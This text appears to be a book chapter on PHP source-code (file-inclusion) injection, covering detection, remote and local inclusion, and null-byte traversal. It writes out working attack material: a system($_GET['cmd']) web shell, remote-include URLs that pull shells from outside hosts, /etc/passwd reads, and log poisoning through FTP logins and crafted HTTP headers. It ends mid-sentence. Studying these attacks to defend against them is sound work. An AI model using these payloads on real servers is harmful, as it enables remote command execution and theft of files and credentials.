Vulnerabilities Specific to PHP Scripts

PHP is a commonly-used programming language aimed at the development of Web applications. PHP scripts are executed on the server. PHP is an interpreted programming language, which means that programs written in it are ready to use immediately after you write them that is, they don't need compiling.

PHP was created for writing applications that should work on the Internet. Therefore, a PHP script can do everything other Web applications can do. In particular, it can receive data from an HTML form sent as GET or POST parameters. It also can set and receive cookies.

In PHP, you can write a console application that would start from the command line. The PHP script will be able to access variables sent as command-line parameters. However, because PHP was intended as a language for Web applications, creating console applications in this language is somewhat inconvenient.

In addition, with the PHP-GTK module you can create client graphic user interface (GUI) applications. The PHP-GTK module required for the creation of such applications doesn't come with a standard version of PHP, so you'll need to install it individually.

An important feature of client GUI applications developed in PHP is that they are platform-independent. Their code will work in any system that has a PHP interpreter with the PHP-GTK module.

However, because PHP was intended as a language for Web applications, creating client GUI applications in it is confusing and tedious .

PHP Source Code Injection

This is the most common vulnerability in PHP scripts. In addition, it is the most dangerous. By exploiting this vulnerability, a malicious remote user obtains the right to execute any script on the server.

Definition 

PHP source code injection is a vulnerability caused by an insufficient check of variables used in functions such as include( ) and require( ) .

An insufficient check of parameters allows the attacker to create a request that makes the PHP interpreter include and execute a malicious PHP file.

Consider an example: http://localhost/2/4.php . If you examine the source code of this script, you'll find the following line:

 <? if(!empty($page)) include($page) ?> 

This line checks whether the page variable is empty. This variable is global and is automatically registered. Remember, I assume that the PHP interpreter is configured so that global variables are registered automatically from the received parameters, including those sent using the GET method.

If the value of the variable was received, the external PHP file is included and executed as a PHP script.

Note that the file extension doesn't matter. Any file with any extension can be included and executed as a PHP script. Be aware of this feature: It can be important later. A programmer should always remember this feature.

A common programming mistake is the use of the following construction:

 <? Include("$data.txt") ?> 

Here a programmer believes that he or she is guaranteed against including PHP scripts. However, if the data parameter contains the path to a TXT file that contains PHP instructions, this file will be executed as a PHP script. Note that the parameter should contain the path with the file name but without an extension. The extension will be appended in the <? Include ("$data.txt") ?> construction.

Detecting Errors

Suppose that you want to check whether the vulnerability is present in a script. Also suppose that the code of the script is unavailable to you.

Create a list of all parameters this script can take. Analyze other scripts that refer to the script in question.

Don't forget about cookies. They often contain relative paths to files with interface settings. For example, a cookie can contain information about the language of the site and scripts can contain a construction like the following:

 <?    $lang=$_COOKIE['lang'];    If(empty($lang))    {    $lang="EN";    setcookie("lang", $lang);    }    include("$lang.php")    ...    ?> 

The idea of this code is that the default language of the site is English but the user can choose the language. Then a PHP script with appropriate interface settings is included. These settings are contained in scripts with the names ENG.PHP, RU.PHP, and so on.

So, don't confine yourself to GET or POST parameters. Collect all possible parameters that the target script could process. Change the values of the parameters one by one and examine the response of the system.

Remember that the correct value of the Referer header is sometimes required. Many popular forum engines check this header to make sure that the previous page was a page of a site.

However, this check isn't a hindrance for a hacker, who can easily bypass it using a program like that described at the beginning of this chapter or using other methods for changing this header field of an HTTP request.

Remember that the Referer field is entirely set on the client, so server Web applications shouldn't trust it, just as they shouldn't trust any data received from a client.

The system can respond in different ways, but the following error message allows you to suppose that the parameter being tested is used in the include() function without checking and that the vulnerability is there. Here is an example of a test request:

http://localhost/2/4.php?page=xxx&id=yyyy

The error message would be as follows :

 Warning: main(xxx): failed to open stream: No such file or directory    in x:\localhost.php on line 7    Warning: main(): Failed opening 'xxx' for inclusion    (include_path='.;c:\php4\pear') in x:\localhost.php on line 7 

Analyze the message. The Failed opening ' xxx ' for inclusion line indicates that the PHP interpreter encountered an instruction that contained the XXX file but failed to find this file on the disk.

Taking into account that this is the value of the page GET parameter, you can infer that this value is used unchanged inside the include() function. However, it is much more common for a programmer to use the include($page.".php") construction or even include ("./data/".$page.".txt") .

In the first case, an extension is appended to the received value; in the second case, a path is also appended. I'll demonstrate later in this chapter that adding a string to the received value entails consequences not found before the addition.

In any case, you should find the actual parameter that the include() function takes. If the PHP interpreter outputs error messages to the browser, this task is simple. Just compare the tested parameter value you have sent with the file name mentioned in the error message.

For example, suppose that the http://localhost/2/4.php?page=xxx&id=yyyy request caused the following message:

 Warning: main(xxx.php): failed to open stream: No such file or    directory in x:\localhost.php on line 7    Warning: main(): Failed opening 'xxx.php' for inclusion    (include_path='.;c:\php4\pear') in x:\localhost.php on line 7 

You can infer that the vulnerable piece of code looks like this: include ( $page.". txt" ). In other words, the TXT extension is added to the received parameter.

If the following message was displayed, you could infer that a path is added to the received parameter:

 Warning: main(./data/xxx.txt): failed to open stream: No such file or    directory in x:\localhost.php on line 7    Warning: main(): Failed opening './data/xxx.txt' for inclusion    (include_path='.;c:\php4\pear') in x:\localhost.php on line 7 

When the code of the script is available, you should find all functions such as include() , require() , include_once() , and require_once() . Then you should check whether these functions use variables.

When only static data are included, there is no vulnerability. If at least one function uses a variable, check whether you can affect the value of this variable. For example, it is dangerous when the variable isn't initialized .

If the PHP interpreter is configured so that GET , POST , and COOKIE parameters are registered automatically, you can send the value of the tested variable as a GET , POST , or COOKIE parameter. This is a typical PHP source code injection vulnerability.

When Errors Aren't Displayed

How can you detect the vulnerability when error messages aren't displayed? Change the values of the parameters so that the logic of the script doesn't change if these parameters are used in the include() function.

For example, adding the . / sequence almost never affects the execution of a script. Suppose that the vulnerability is the following: include ( $page.".htm" ). Normally, the page=index parameter is sent. If you send page=. /index , the logic of the script won't change, and the page will be displayed as usual.

By default, PHP includes files from the current directory, and the . / sequences means the current directory.

Suppose that a directory prefix is added to the received value:

 include("./data/".$page.".htm") 

If you substitute page=index with page=./index, the script will try to include the ./data/./index.htm file rather than ./data/index. htm. Because the ./ sequence denotes the current directory, both strings point to the same file, and the logic of the script doesn't change. Therefore, if such a change in a parameter doesn't affect the work of the script, it is likely that the parameter is used as a file name. When it is used in the include() function, the vulnerability is present.

A situation, in which a fragment of a file name is used as a prefix, is an exception. For example, if the include ("data-". $file. ". txt") construction is used, the file won't be found.

Another indication of the vulnerability is the presence of files on the server whose names are identical to or similar to parameters passed to the script.

For example, let the DATA.PHP script take the following parameters: x=1 , x=2 , x=3 , and so on. Let the same directory contain the files image from book  1.PHP , image from book  2.PHP , image from book  3.PHP , and so on, and let their contents be the same as the contents of the pages in DATA.PHP with the corresponding parameters.

You can suppose that there is an injection in the DATA.PHP script in the x parameter in a statement such as include ($x.".php").

In rare cases, the contents of a directory can be viewed by specifying its name in the browser. It is unlikely that a server returns a listing of the directory in response to such a request. However, don't expect that the attacker will miss the chance to check for this.

Exploiting the Global PHP Source Code Injection Vulnerability

So, the attacker has found the vulnerability. What could he or she do? The attacker's actions depend on whether this vulnerability is local or global.

Definition 

Global PHP source code injection is a vulnerability that allows an attacker to execute any file, local or remote, available for reading to the server.

Remember a peculiarity of the include() function in PHP: It includes and executes any file as a PHP script. If it takes the full HTTP or FTP address of the file, the remote file will be requested using the appropriate protocol and the received response will be executed as a PHP script. For example, if you use HTTP, a standard HTTP request will be made.

Therefore, to include and execute an external script, the following conditions should be met:

  • Inside the include() function, no string is added at the beginning of the variable you will affect. For example, include("$file.txt") is all right, but include ( "/$file.txt" ) isn't.

  • Outgoing connections using HTTP aren't restricted. In some cases, the vulnerability can be exploited if external connections are allowed on at least one port.

  • PHP is configured so that remote files can be included. This is the default configuration.

Simultaneous meeting of these conditions is likely. For example, look how the following construction is executed:

 <? Include("http://www.yandex.ru/") ?> 

You can check for the global PHP source code injection vulnerability by sending the following request: http://localhost/2/4.php?page=http://www.yandex.ru? . If the server displays the main page of Yandex, the global PHP source code injection vulnerability is likely. Of course, you can specify any other site or HTML page available using HTTP.

The question mark at the end of the request is mandatory. A string can be added to the end of the received parameter inside the include() construction for example, include ( "$page.php" ). You don't need it, so turn it into a GET parameter to get rid of it. To do this, put the question mark at the end of the address of the document you want to include.

As a result, the http://www.yandex.ru/?.php document will be requested and included. If you enter this address into your browser, you'll make sure this is the same as http://www.yandex.ru/ . This is true for HTTP.

Note that, unlike with local files, if a remote PHP file is requested, the result of its work, not its source code, is included. Here is an example from http://localhost/2/6.php that demonstrates this:

 <? include("http://localhost/2/5.php"); ?> 

Here is the code of the image from book  5.PHP script:

 <?      echo "This is the 5.php script. Date:".date("H:i:s");      echo "      <?        echo \"And this is what 6.php executes. \";      ?>  ";  ?> 

As you can see, image from book  6.PHP includes image from book  5.PHP using HTTP and then executes it. When this script is included, the following things will happen: The http://localhost/2/5.php document is requested using HTTP. If there is a configured PHP interpreter on the server that contains the included script, this script is executed on that server.

The result of this execution is sent to the image from book  6.PHP script, which executes this result as a PHP script on the first server.

So, the line echo " This is the image from book  5.php script . Date: ".date ( "H:i:s" ); is executed on the server, on which the image from book  5.PHP script is located. Then this script outputs the following:

 <?      echo \"And this is what 6.php executes. \";    ?> 

This phrase will be output to the image from book  6.PHP script, and this code will be executed on the target server (i.e., on the server that contains the vulnerable script).

Now you know how to include a remote script to execute any code on the remote server.

Consider a few examples.

Suppose that a server has the following vulnerability: <? Include ( "$page. htm" ) ?> . Write some PHP code that will be executed on this target server. The PHP shell will be standard in this case.

If the PHP interpreter isn't in the safe mode, you can use the system() function. This function executes system commands and returns their output to the browser. For example, in Unix-like operating systems, you can write system ( "ls -la" ). In Windows, you can write system ( "dir" );.

So, write the following PHP shell code:

 <?     system($_GET["cmd"])    ?> 

If the server is configured so that quotation marks are screened with backslashes, you can write the following:

 <?     system(stripslashes(($_GET["cmd"]))    ?> 

Then you should place your PHP shell code on any Web site. One through a free hosting service would be suitable.

Let the address to the target server that will make the server include your PHP shell code be http://localhost/4.php?page=http://www.freewebspace.net/cmd.htm?&cmd=ls+-la or http://localhost/4.php?page=http://www.freewebspace.net/cmd&cmd=ls+-la;

the HTM extension will be appended in any case.

What will happen? The target script, image from book  4.PHP , has the vulnerability. It will include and execute the following code:

 <?     system($_GET["cmd"])    ?> 

The cmd GET parameter is extracted from the same request. The value you passed as a value of the cmd parameter will be executed on the target server as a system command.

In this example, you obtain a list of files in the current directory (in a Unix-like operating system). So, you obtained what you had wanted. An explanation of what you could do with this information is beyond the scope of this book.

Suppose that the existing vulnerability has the following form: <? Include ("$page.php") ?>. In other words, a PHP extension is appended rather than a TXT one. You can act as in the previous example, but don't forget the following: If the PHP interpreter is installed on the server and you send a request such as http://localhost/4.php?page=http://cmd.hl0.ru/cmd&cmd=ls+-la , first the http://cmd.h10.ru/cmd.php script will run on the h10 server and then the result of its work will be sent to the target server.

Therefore, the http://cmd.h10.ru/cmd.php script should have code like this:

 <? Echo "<?    System($_GET[\"cmd"]);    ?>";    ?> 

It would be convenient to get rid of data you don't need by turning them into GET parameters. As I demonstrated earlier, you can do this with the question mark:

http://localhost/4.php?page=http://cmd.h10.ru/cmd.htm?&cmd=ls+-la

If a connection to port 80 is prohibited but there are other ports, you can place your PHP shell code on an FTP server and try to connect using FTP. Remember that the trick with the question mark won't work in this case, so you need to choose an appropriate file name.

For example, if there is the <? Include ( "$page.include.php" ) ?> vulnerability, the file with PHP code could be named cmd.include.php and the request to include this script could be as follows:

http://localhost/4.php?page=ftp://my.ftp.ru/cmd&cmd=ls+-la

Note that if a file is included using FTP, the PHP interpreter tries to request its contents by connecting to the FTP server as a passive anonymous user.

Another way out could involve placing your PHP code on an HTTP server that uses a nonstandard port. In this case, a request could be like this:

http://localhost/4.php?page=http://cmd.h10.ru:8000/cmd&cmd=ls+-la

A frequently asked question is, How can I get the source code of a PHP script running on the server? The answer is simple: If you don't use other vulnerabilities, you cannot see the code of a script on a server.

Exploiting the Local PHP Source Code Injection Vulnerability

When there is a vulnerability of the PHP source code injection type but you failed to include and execute a remote file, this vulnerability can be called local.

Definition 

Local PHP source code injection is a vulnerability that allows an attacker to execute any local file available for reading to the server.

I'd like to mention that everything described here about the local type of this vulnerability is also true for the global one. That is, everything that you can implement exploiting a local vulnerability can also be implemented with a global vulnerability.

The most common reason you cannot include a remote file is that a string is added to the beginning of the parameter you're going to affect in the include() function. In this case, it is impossible to add a protocol name (HTTP or FTP), and you cannot include a remote file.

For example, look at the http://localhost/2/7.php script. Here are its contents:

 <?      include("./data/$id.php");    ?> 

As you can see, this is a PHP source code injection vulnerability. You could affect the $id variable, but a string with a path to data files is added to it. Therefore, you cannot change the value of the $id variable so that a remote file available using HTTP or FTP is included.

Another case, in which you cannot include a remote file, is when PHP settings prohibit you to perform this operation or a firewall bars outgoing connections to any transmission control protocol (TCP) port.

Suppose that you can include any local file. In the previous example, an extension is appended to the file name. It restricts the types of files that you could include and execute as PHP scripts. However, remember a feature of interpreted languages such as PHP or Perl. Their interpreters are written in C language. In C, a null character (a byte consisting of 0 bits) indicates the end of a character string.

Therefore, a null character in a string that passes a file name to a file opening function will indicate the end of the string and, consequently, the end of the file name.

In interpreted languages such as PHP or Perl, multibyte strings are used. These strings can contain characters with any code, including null characters . Naturally, these languages don't treat a null character as a string terminator. This is done to support strings that store data such as images, audio, or video.

Remember that you can URL-encode any character when you send an HTTP request. Substitute the character with an appropriate %XX sequence, where XX is the hexadecimal code of the character. The null character is coded with the %00 sequence. This sequence can be normally sent using HTTP, and the requested script will receive a string with the null character.

Suppose that the include (". /$file/data.php") construction is used in a script. Its programmer believes the PHP interpreter will include and execute only the DATA.PHP file. What will happen if you pass the script a null- terminated string as a file name, for example, file=temp.txt%00?

The interpreter will try to open and execute the file ./temp.txt\0/data.pnp. Here, \o is a null character. This string will be passed to the include() function that calls a C function such as fopen() , which treats the null character as the end of the string. As a result, an attempt to include and execute to . / temp. txt file will be made. The remainder of the string will be discarded, like the case in which you discarded the remainder of a string in an HTTP request using the question mark.

So, you have learned how to get rid of the right part appended to a variable you are going to affect. In addition, note that these functions usually allow you to use the ../ sequence to move to other directories. In other words, now you can use the ../ sequence and a null character to include and execute any file on the server.

How can the attacker use this option?

Remember the structure of PHP scripts. The code executed by the PHP interpreter is enclosed within the tags <? ?> or <?php ?> . Everything outside the tags is treated as a plain text and displayed without processing.

Consider an example, http://localhost/2/8.php:

 Date: <? echo date("Y-m-d H:i:s");    $a="Test";    ?>    <br>This text will be displayed without processing.    Variables such as $a won't be substituted with values.    <?     echo "This text will be displayed.    Variables will be substituted with values, for example, a=$a";    ?> 

This example demonstrates how the PHP interpreter executes scripts.

Many files, such as configuration files of various applications, log files, or many text documents, don't contain the PHP tags <? ?> . If you include such files into a PHP script, the PHP interpreter won't encounter fragments that can be interpreted as PHP code. So, it will output them without processing.

Thus, when the local PHP source code injection vulnerability exists, the attacker can use it to obtain the contents of some files. He or she should specify relative paths to the files (relative to the directory specified in the prefix). To move one level up in the directory tree, the attacker would use the .. / sequence.

For example, the contents of the /etc/passwd file could be obtained using a request like the following:

http://test/script.php?page=./../../../../../../etc/passwd%00

This request displays the file with user logins in Unix-like operating systems. Using a series of the ../ sequence, you move to the root directory. Then you access the passwd file.

Note that in Unix-like operating systems you can read only the files available for reading to the user who started the Web server. In Windows, you can obtain only the contents of files located on the current disk. If a prefix is specified, the attacker cannot change the disk. However, if nothing is added to the beginning of the variable you're going to affect in the include() function, you can specify the disk name.

For example, you can use the http://test/script.php?page=C:/system.ini%00 request for a vulnerability like the following:

 <?      include("$page.php")    ?> 

The contents of the requested file will be displayed in the part of the page where the script intends to output the include() construction.

Note that if you want to see a file as it is, you should look at the HTML code rather than at the output in the browser window. For example, the browser ignores linefeed characters in text files. In addition, it can interpret certain character sequences as HTML tags and display the result of applying these tags rather than the text.

To display the source code, most browsers allow users to view HTML pages as text.

What else can the attacker do when he or she explores the local PHP source code injection vulnerability? The attacker has many options beyond just viewing the code of scripts.

To execute any code, the attacker needs to embed it into a file on the server by creating a new file available for reading to the user who started the Web server, or by editing a file available for reading to the Web server. If the attacker has other access to the server, for example, he or she has anonymous access using FTP, it will suffice for the attacker to create a file with PHP instructions. The name and location of this file aren't important. The attacker just needs them to access the file.

However, such a case isn't likely. Servers that allow users anonymous FTP access are rare. Even rarer are servers that allow anonymous users to write.

So what is left for the attacker? He or she can upload files to the server using an HTTP form. If a visitor to the site is allowed to upload files on the server, this is fraught with vulnerability. Such systems should filter the names, the contents, or both of the files they write on their disks.

However, if the attacker decides to upload a PHP code, he or she will easily circumvent almost every filter. Suppose that file extensions are filtered on the server. For example, only graphic formats are allowed. Because the PHP interpreter doesn't restrict the extension of a file with PHP code, it executes code contained in any file, regardless of the extension. So, the attacker can upload a file with PHP code, for example, PHP shell, if he or she specifies a graphic format extension. For example, the file can have the following code:

 <?    $cmd=stripslashes($_GET["and"]);    system($cmd);    ?> 

To exploit this vulnerability successfully, the attacker needs the relative path to the file with the malicious code. He or she doesn't need the full path to the file or to a vulnerable script.

Consider an example. Suppose that a vulnerable script has the following address: http://test/news/index.php . Also suppose that injection is possible in the page parameter, which isn't filtered.

The vulnerable lines are the following:

 <?    include("../data/$id.html");    ?> 

Suppose that the forum on this site allows users to upload images. An image can be of the GIF or JPG format. The extension of the uploaded file is checked on the server.

The attacker can find the directory, in which the image is saved. To do this, he or she should send a test image, display it in the browser window, and look at the path to it.

Let the URL of the uploaded image be http://site/images/test.jpg . Now, the attacker wants to upload malicious PHP code instead of the image. If the code is contained in the http://site/images/cmd.jpg file, the request that exploits the vulnerability by including and executing the script (which, in turn, executes any system command received as a GET parameter) could be as follows:

http://test/news/index.php?page=./../images/cmd.jpg%00&cmd=ls+-la

Files containing data for the http://test/news/index.php file are located in the http://test/data/ directory. The path from this directory to the IMAGES directory that contains the PHP shell is the following:. / .. /images/ . This is the string passed as the page parameter.

Now, complicate the attacker's task. Suppose that the server checks the contents of the image file in addition to the extension. The check could involve testing whether the image fits within certain boundaries. The PHP code pretending to be an image won't pass the check. The attacker will have to write PHP code that would be a valid image, or create an image that would contain PHP code correctly interpreted by the PHP interpreter.

Remember that everything outside the <? ?> tags is output by the PHP interpreter without processing. You can easily make sure that the data outside the tags don't need to be text. These data can be an image. Naturally, the PHP interpreter won't display the image. Rather, it will output the text interpretation of the graphic data.

So, the attacker's task is reduced to embedding the desired text data into an image. Take GIF as an example. You can make sure that adding any data to the end of a GIF file doesn't affect the display of this file in any graphic application. Each of such applications will treat this file as a valid GIF image.

The attacker only needs to embed his or her PHP shell code at the end of a valid GIF image using a hexadecimal editor and then upload this file to the server. Such a file will pass all checks because it is a valid GIF image. Although it contains some data at the end, they don't affect the behavior of any graphic application.

Now, the attacker can use the local vulnerability to include the file:

http://test/news/index.php?page=./../images/cmd.jpg%00&cmd=ls+-la

The PHP interpreter will treat this file as a common PHP script. First it will display the "garbage," being the text interpretation of the graphic data. Then it will encounter the <? ?> tags and execute the code between them.

Consider another example. Suppose that a server with this vulnerability contains a system that maintains a database using text files. Some forums and bulletin boards maintain databases in files hidden from HTTP. However, the contents of this file can be included by exploiting the local PHP source code injection.

These files are usually text ones. After the attacker gets them, he or she is sure to analyze their contents. I would suppose that he or she wouldn't be interested in the logins, passwords, and secret messages contained in these files. Rather, the attacker would analyze which characters are filtered when information is added to these files and how they are filtered.

If a file contains information about a user, the attacker will register in the forum with a login, password, or other information containing desired PHP code, for example, PHP shell. If, conversely, the file contains messages, the attacker will simply add a new message containing the malicious PHP code.

Note that an experienced attacker will add the PHP code only after he or she tests, which characters are filtered and how this is done. The functionality of the added PHP code shouldn't change after filtration. For example, modified or original PHP shell code can be used. Then the attacker will execute this file as PHP code using the method described earlier.

Another method for creating a file with PHP code that exploits the SQL injection vulnerability is described in Chapter 3 devoted to SQL injections. Embedding PHP code into log files is described later in this chapter.

Now, consider a case in which the vulnerability in a PHP script has the following form:

 <?    include("./data/file-$file.php")    ?> 

This is a vulnerability of the local PHP code injection type because there is a prefix before the variable that we can affect. However, this a special case compared with the previous cases in which a relative or absolute path was added. Here, a fragment of the file name is also added.

Consider a case, in which the . /data/ directory contains a subdirectory whose name begins with the same characters as the appended fragment of the file name. In this case, this should be the . /data/file-list/ directory. You can move to the target directory using a construction like the following one:

 http://test/news.php?file=list/../../../../ets/passwd%00 

The include() function will include and execute the following file:

 ./data/file-list/../../../../ets/passwd%00 

All the directories in the path exist in the system, and any operating system will consider the path correct. However, the existence of such a convenient directory is not likely. Most often, there is no directory with a name that could be exploited. Even if it exists, if will be difficult to the attacker to guess its name.

Therefore, to exploit the vulnerability, the attacker will have to specify directories that don't exist. For example, he or she can specify the following:

 ./data/file-1/../../../../ets/passwd%00 

Note that there is no file-1 subdirectory in the . /data/ directory.

This situation is ambiguous. On the one hand, the nonexistent directory isn't used. You move one level up immediately: file-1/ .. / . On the other hand, can the path be correct if it includes a directory that doesn't exist? You have to find the answer through experimentation. Different operating systems treat this situation differently.

In Windows 2000, in the File Allocation Table (FAT) or New Technology File System (NTFS), it doesn't matter whether a directory exists if you move one level up immediately.

To test this, try to execute the following command in the command line:

 C:\>cd \not-exists\..\    C:\> 

You'll see that the operating system accepts a path with a nonexistent folder.

In Unix-like operating systems, the situation is more complicated. The following example is for FreeBSD:

 $ pwd    /tmp/test    $ ls -la    total 6    drwxr-xr-x  2  admin  wheel  512 Sep  9 16:18 .    drwxrwxrwt  9  root   wheel  512 Sep  9 16:17 ..    -rw-r--r--  1 admin  wheel    5 Sep  9 16:18 file.php    $ cd not-existent/../    -bash: cd: not-existent/../: No such file or directory    $ cd file.php/../    -bash: cd: file.php/../: Not a directory    $ 

Unix-like systems check every file in a path. This is to check whether the user has access rights to the directories he or she specified. Even if the file exists, it should be a directory. Otherwise , the path is incorrect.

Although the situation is sometimes hopeless to the attacker, you shouldn't neglect protection.

Embedding PHP Code into Log Files

Suppose that there is a vulnerability of the local PHP source code injection type on a server.

Note that the attacker doesn't need to create a new file. He or she can just edit an existing one so that it contains some PHP code.

This brings up the question: Which files on the server can a remote user change? You might think that a user without access to the server couldn't change any files. However, remember that the server can log certain events, and what data will be written into the log files depends on the user to some extent.

Consider an example. Suppose that the attacker has investigated the internals of the server using the local PHP source code injection vulnerability. He or she cannot upload a file with malicious PHP code to the server but can obtain the contents of files on the server.

The attacker is likely to analyze the server settings that have the same names in different systems (e.g., /etc/passwd ). In addition, the attacker is likely to try to find the server configuration file that contains much interesting information.

To obtain unauthorized access to directories protected with passwords, the attacker will try to read configuration files that specify how the directories can be accessed. In the Apache server, these files usually have the image from book  .htaccess name.

These files can contain the path to the file with passwords. The attacker can read this file using the vulnerability. Having obtained the contents of the file, he or she can try to find the passwords.

As a rule, such files contain password hashes, rather than the passwords. Although recovering a password from its hash is a complicated problem, it is a matter of time and computational resources to solve it.

An access procedure can also be contained in the server configuration files. In the Apache server, this file is called image from book  HTTPD.CONF . It can be located in various directories, such as the following:

  • /ETC/HTTPD.CONF

  • /ETC/CONF/HTTPD.CONF

  • /ETC/APACHE/CONF/HTTPD.CONF

  • /USR/LOCAL/ETC/APACHE/CONF/HTTPD.CONF

  • /USR/LOCAL/CONF/HTTPD.CONF

In rare cases, the file can have a name other than image from book  HTTPD.CONF .

The attacker is likely to try reading the contents of system log files. In particular, he or she can be interested in the following files:

  • /VAR/LOG/MESSAGES

  • /VAR/LOG/HTTPD-ACCESS.CONF

  • /VAR/LOG/HTTPD-ERROR.LOG

  • /VAR/LOG/MAILLOG

  • /VAR/LOG/SECURITY

These are files in Unix-like operating systems.

Suppose that the attacker noticed that the /VAR/LOG/MESSAGES file is updated daily and has a small size . He or she will analyze, which events are logged in the file. He or she will also analyze other log files available for reading to the user who started the server.

A common situation is authorization errors are logged in the /VAR/LOG/MESSAGES file and some other log files. Suppose that the hacker noticed the following lines in the /VAR/LOG/MESSAGES file:

 Sep  1 00:00:00 server ftpd[12345]: user "anonymous" access denied Sep  1 00:00:10 server ftpd[12345]: user "vasya" access denied Sep  1 00:00:20 server ftpd[12345]: user "test" access denied 

This means that messages containing FTP server authorization errors are written into this file. Then the attacker will check which characters can be specified in a login. He or she will connect to the server's FTP port and try to authorize using logins with various characters.

A dialog between the attacker and the FTP server could be like this:

 $ telnet ftp.test.ru 21    Trying 127.0.0.1...    Connected to ftp.test.ru.    Escape character is '^]'.    220 ftp.test.ru FTP server ready.    USER anonymous    331 Password required for anonymous.    PASS test    530 Login incorrect.    USER test'test'    331 Password required for test'test'.    PASS test    530 Login incorrect.    USER test test    331 Password required for test test.    PASS test    530 Login incorrect.    USER <hello>    331 Password required for <hello>.    PASS test    530 Login incorrect.    USER test? $test    331 Password required for test? $test.    PASS test    530 Login incorrect.    QUIT    221 Goodbye. 

In certain FTP server implementations with certain FTP server settings, the /VAR/LOG/MESSAGES file could contain the following lines after this session:

 Sep  1 00:01:00 server ftpd[12345]: user "anonymous" access denied    Sep  1 00:01:10 server ftpd[12345]: user "test'test'" access denied    Sep  1 00:01:20 server ftpd[12345]: user "test test" access denied    Sep  1 00:01:30 server ftpd[12345]: user "<hello>" access denied    Sep  1 00:01:40 server ftpd[12345]: user "test? $test" access denied 

As you can see, the logins are written to the log file as they are. The hacker can embed PHP shell code into the /VAR/LOG/MESSAGES file using the following dialog with the FTP server:

 $ telnet ftp.test.ru 21    Trying 127.0.0.1...    Connected to ftp.test.ru.    Escape character is '^]'.    220 ftp.test.ru FTP server ready.    USER <? system(stripslashes($_GET['cmd'])); ?>    331 Password required for <? system(stripslashes($_GET['cmd'])); ?>.    PASS test    530 Login incorrect.    QUIT    221 Goodbye. 

As a result, the following data will be logged in /var/log/messages:

 Sep  1 00:01:40 server ftpd[12345]: user "<?           system(stripslashes($_GET['cmd'])); ?>" access denied 

The attacker just needs to exploit the local PHP source code injection vulnerability using a request like this:

http://test/test.php?page=./../../../../../var/log/messages%00&cmd=ls+-la

Thus, an attacker can execute any command on a vulnerable server.

Note that a similar request was used earlier to obtain the contents of files that didn't contain PHP code.

Now, I'd like to describe another method for embedding PHP code into log files to exploit the vulnerability by including and executing the files. Try to include some code into Apache log files. This task is more difficult than embedding code into FTP server log files because the browser by default will URL-encode certain characters, such as a question mark and a space.

A simple example demonstrates that spaces aren't necessary when writing PHP shell code:

 <?system(stripslashes($cmd));?> 

This is correct PHP code although it contains no spaces.

However, other URL-encoded characters are still required. These are <, >, $, (, ), and ?. In addition, you may need quotation marks or apostrophes .

What if you don't stick to the standard and try to create a request so that the characters you need aren't URL-encoded?

To do this, you can use the program making any requests , which was described earlier, or create the request manually by connecting to the HTTP server port.

 GET /?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1    Accept: */*.    Accept-Language: en-us.    Accept-Encoding: deflate.    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)    Host: www.test.ru    Connection: Close    Referer: http://www.localhost.ru/ 

Apache, one of the most popular Web servers, will log the following line:

 127.0.0.1 - - [01/Sep/2004:14:00:00 +0000] " GET    /?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1" 200 2393 "    http://www.localhost.ru/" " Mozilla/4.0 (compatible; MSIE 5.0;    Windows NT 5.0)" 

As you can see, this line contains correct PHP code that can be executed by the PHP interpreter:

 <?system(stripslashes($_GET['cmd']));?> 

Suppose the log file that contains successful requests is the following: /VAR/LOG/HTTPD-ACCESS.LOG . To exploit the include ( ".. /data/$id.html" ) vulnerability, the attacker would send a request that could include the log file to execute the PHP shell code that executes any system command. The request should be like this:

http://test/test . php?page=./../../../../../var/log/httpd-access.log%00&cmd=ls+-la

Consider another example of embedding PHP shell code into values of the HTTP Referer header:

 GET / HTTP/1.1    Accept: */*.    Accept-Language: en-us.    Accept-Encoding: deflate.    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)    Host: www.test.ru    Connection: Close    Referer: http://www.localhost.ru/?<?system(stripslashes($_GET['cmd']));?> 

In this case, the Apache server will write the PHP shell code into the Referer field. The /VAR/LOG/HTTPD-ACCESS. LOG file will contain the following:

 127.0.0.1 - - [01/Sep/2004:14:00:00 +0000] " GET / HTTP/1.1" 200 2393    " http://www.localhost.ru/?<?system(stripslashes($_GET['cmd']));?>" "    Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)" 

Writing PHP code into the Referer field is necessary when GET parameters are filtered on the server. For example, this is done when the mod_security module of Apache is used.

Sometimes, it is impossible to embed PHP shell code into the Referer field. For example, if the value of this field is filtered or isn't logged, the attacker can try to embed code into the Agent field of an HTTP request. This field indicates the browser used on the client and, therefore, theoretically can contain any characters.

An example of an HTTP request sending PHP shell code as a browser's name is the following:

 GET / HTTP/1.1    Accept: */*.    Accept-Language: en-us.    Accept-Encoding: deflate.    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0 <?                             system(stripslashes($_GET['cmd'])); ?>)    Host: www.test.ru    Connection: Close    Referer: http://www.localhost.ru/ 

The PHP shell code will be there instead of the Agent field if the server logs the value of this field.

If many sites are located on a hosting server, their log files often are individual and are not collected in one file. It is difficult for the attacker to guess the locations of these files. In addition, log files with error messages can be different for different Web sites, and their names are also difficult to guess.

The attacker who can access the configuration file of the Web server can find the locations of these files. However, the Apache server writes certain error messages into the common error log file rather than into error log files of the sites. As a rule, this file is located at /VAR/LOG/HTTPD-ERROR.LOG ; however, this isn't always the case.

This file contains error messages that cannot be assigned to a particular host, for example, when the host name sent in the HOST header of an HTTP request isn't found among the names of the virtual hosts on the server.

Here is an example of a request that results in writing the attacker's malicious data into the log file:

 GET /not-existent.html?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1    Accept: */*.    Accept-Language: en-us.    Accept-Encoding: deflate.    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)    Host: www.not-existent.ru    Connection: Close    Referer: http://www.localhost.ru/ 

The /VAR/LOG/HTTPD-ERROR. LOG file will contain the following lines:

 [Wed Sep  1 10:00:05 2004] [error] [client 127.0.0.1] File does not exist:  /usr/local/www/not existent.html?<?system(stripslashes($_GET['cmd']));?> 

As you can see, there is PHP shell code in the log file. However, attempts to embed PHP code into a common error log file are rarely successful. The Apache server often discards GET parameters when adding records to the error log file (this depends on configuration).

Even if you delete the question mark after the name of the nonexistent file, the following line will be written into the log file:

